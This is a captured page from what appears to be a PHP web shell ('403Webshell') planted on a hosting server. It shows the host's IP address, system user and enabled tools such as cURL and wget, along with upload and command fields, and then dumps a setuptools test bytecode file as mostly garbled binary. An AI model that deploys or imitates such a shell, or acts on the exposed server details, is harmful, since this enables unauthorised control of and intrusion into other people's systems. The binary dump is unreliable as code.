403Webshell
Server IP : 217.160.0.244  /  Your IP : 216.73.217.138
Web Server : Apache
System : Linux infong-eu155 4.4.400-icpu-108 #2 SMP Wed Feb 11 11:51:01 UTC 2026 x86_64
User : u100174116 ( 6746176)
PHP Version : 8.5.10
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/setuptools/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/setuptools/tests/__pycache__/test_distutils_adoption.cpython-313.pyc
�

�hc��\�SSKrSSKrSSKrSSKrSSKrS\R
;rSSS.rSrS'Sjr	S(Sjr
\RR\RS	:�S
S9r\S5rS
r\RR#SSS9S5rSrSrSr\RR-S5\RR/S\R0"SS\S9\R0"SS\S9\R0"SS\S9SSS/5S55rSr\RR-S5\RR/S S!\R0"S\S9/5S"55rS#r\RR-S5\RR/SS$\R0"SS%\S9/5S&55rg))�N�__pypy__Tzutf-8)�text�encodingc�r�U(a/[R"5S:Xa[RSUS'U$)z�
On Windows, SYSTEMROOT must be present to avoid

> Fatal Python error: _Py_HashRandomization_Init: failed to
> get random numbers to initialize Python
�Windows�
SYSTEMROOT)�platform�system�os�environ��envs �J/usr/lib/python3/dist-packages/setuptools/tests/test_distutils_adoption.py�win_srr
s-���x��� �I�-��J�J�|�4��L���J�c��SR"S0[5D6nSSU/nUR"U4S[U50[DUD6$)Nz+import {imports}; print(distutils.__file__)�python�-cr�)�format�locals�runr�_TEXT_KWARGS)�venv�importsr�kwargs�py_cmd�cmds      r�find_distutilsrsE��
:�
A�
A�
M�F�H�
M�F��T�6�
"�C��8�8�C�C�V�C�[�C�L�C�F�C�Crc	��[R"S5nSSU/n[UR"U4S[	U50[
D65$)Nz�
        import sys
        is_distutils = lambda finder: finder.__class__.__name__ == "DistutilsMetaFinder"
        print(len(list(filter(is_distutils, sys.meta_path))))
        rrr)�textwrap�dedent�intrrr)rrrrs    r�count_meta_pathr$sE��
�_�_�	��F��T�6�
"�C��t�x�x��=����=��=�>�>r)��z-stdlib distutils is removed from Python 3.12+)�reasonc��[SS9nUR[XS9R[R
5;de[
XS9S:Xdeg)z3
Ensure stdlib distutils is used when appropriate.
�stdlib��SETUPTOOLS_USE_DISTUTILSr
rN��dict�namer�splitr�sepr$�rrs  r�test_distutils_stdlibr21sG��
��
1�C��9�9�N�4�9�?�?����G�G�G�G��4�)�Q�.�.�.rc��[SS9n[USUS9nURUR[R
5;de[
XS9S::deg)z2
Ensure local distutils is used when appropriate.
�localr*zsetuptools, distutils)rrr
�N)r-rr.r/rr0r$)rr�locs   r�$test_distutils_local_with_setuptoolsr7;sO����
0�C�
��'>�C�
H�C��9�9��	�	�"�&�&�)�)�)�)��4�)�Q�.�.�.r�IS_PYPYz!pypy imports distutils on startupc��[SS9nUR[XS9R[R
5;de[
XS9S::deg)zN
Even without importing, the setuptools-local copy of distutils is
preferred.
r4r*r
r5Nr,r1s  r�test_distutils_localr:EsG����
0�C��9�9��t�5�;�;�B�F�F�C�C�C�C��4�)�Q�.�.�.rc�:�/SQnUR"U40[D6 g)z8
Ensure pip can be imported.
Regression test for #3002.
)rrz
import pipN)rr)rrs  r�test_pip_importr<Ps��
)�C��H�H�S�!�L�!rc�P�[S5RR(deg)z5
Distutils module spec should have an origin. #2990.
�	distutilsN)�
__import__�__spec__�originrrr�test_distutils_has_originrBYs���k�"�+�+�2�2�2�2ra8
# Depending on the importlib machinery and _distutils_hack, some imports are
# duplicated resulting in different module objects being loaded, which prevents
# patches as shown in #3042.
# This script provides a way of verifying if this duplication is happening.

from distutils import cmd
import distutils.command.sdist as sdist

# import last to prevent caching
from distutils import {imported_module}

for mod in (cmd, sdist):
    assert mod.{imported_module} == {imported_module}, (
        f"\n{{mod.dir_util}}\n!=\n{{{imported_module}}}"
    )

print("success")
�
tmpdir_cwd)�distutils_version�imported_moduler)�dir_util)�marks�	file_util�archive_util)r4rF)r4rH)r4rIc��[US9n[RUS9nSSU/nUR"U4S[	U50[
D6R
5nUS:Xdeg)Nr*�rErrr�success)r-�!ENSURE_IMPORTS_ARE_NOT_DUPLICATEDrrrr�strip)rDrErr�scriptr�outputs       r�)test_modules_are_not_duplicated_on_importrQusa���(9�
:�C�
.�
5�
5�o�
5�
V�F��T�6�
"�C�
�X�X�c�
;�v�c�{�
;�l�
;�
A�
A�
C�F��Y���rz�
import types
import distutils.dist as dist
from distutils import log
if isinstance(dist.log, types.ModuleType):
    assert dist.log == log, f"\n{dist.log}\n!=\n{log}"
print("success")
rDr4c��[US9nSS[/nUR"U4S[U50[D6R5nUS:Xdeg)Nr*rrrrL)r-�#ENSURE_LOG_IMPORT_IS_NOT_DUPLICATEDrrrrN)rDrrrrPs     r�+test_log_module_is_not_duplicated_on_importrT�sO���(9�
:�C��T�>�
?�C�
�X�X�c�
;�v�c�{�
;�l�
;�
A�
A�
C�F��Y���rz�
from setuptools.modified import newer
from {imported_module}.errors import DistutilsError

# Can't use pytest.raises in this context
try:
    newer("", "")
except DistutilsError:
    print("success")
else:
    raise AssertionError("Expected to raise")
)r4r>zsetuptools._distutilsc��[US9nSS[RUS9/nUR"U4S[	U50[
D6R
5nUS:Xdeg)Nr*rrrKrrL)r-�(ENSURE_CONSISTENT_ERROR_FROM_MODIFIED_PYrrrrrN)rDrErrrrPs      r�&test_consistent_error_from_modified_pyrW�sg���(9�
:�C���0�7�7�+�	8�	
��C��X�X�c�
;�v�c�{�
;�l�
;�
A�
A�
C�F��Y���r)r>N)N)rr	�sysr!�pytest�builtin_module_namesr8rrrr$�mark�skipif�version_info�skip_without_stdlib_distutilsr2r7�xfailr:r<rBrM�usefixtures�parametrize�paramrQrSrTrVrWrrr�<module>rcs���	��
��
�
��0�0�
0���'�2��	�D�	?�!'��� 2� 2������:�!3�!���/��/�/������9�%H��I�/�J�/�"�3�%�!�*������&������,����X�z�1N�O����X�{�2O�P����X�~�5R�S���!�
�
��
�'��'�#�������&�����������X�%B�C�����'��,�(�������&������,��	����-�5R�	
�	�
�
�
�'�
r

Youez - 2016 - github.com/yon3zu
LinuXploit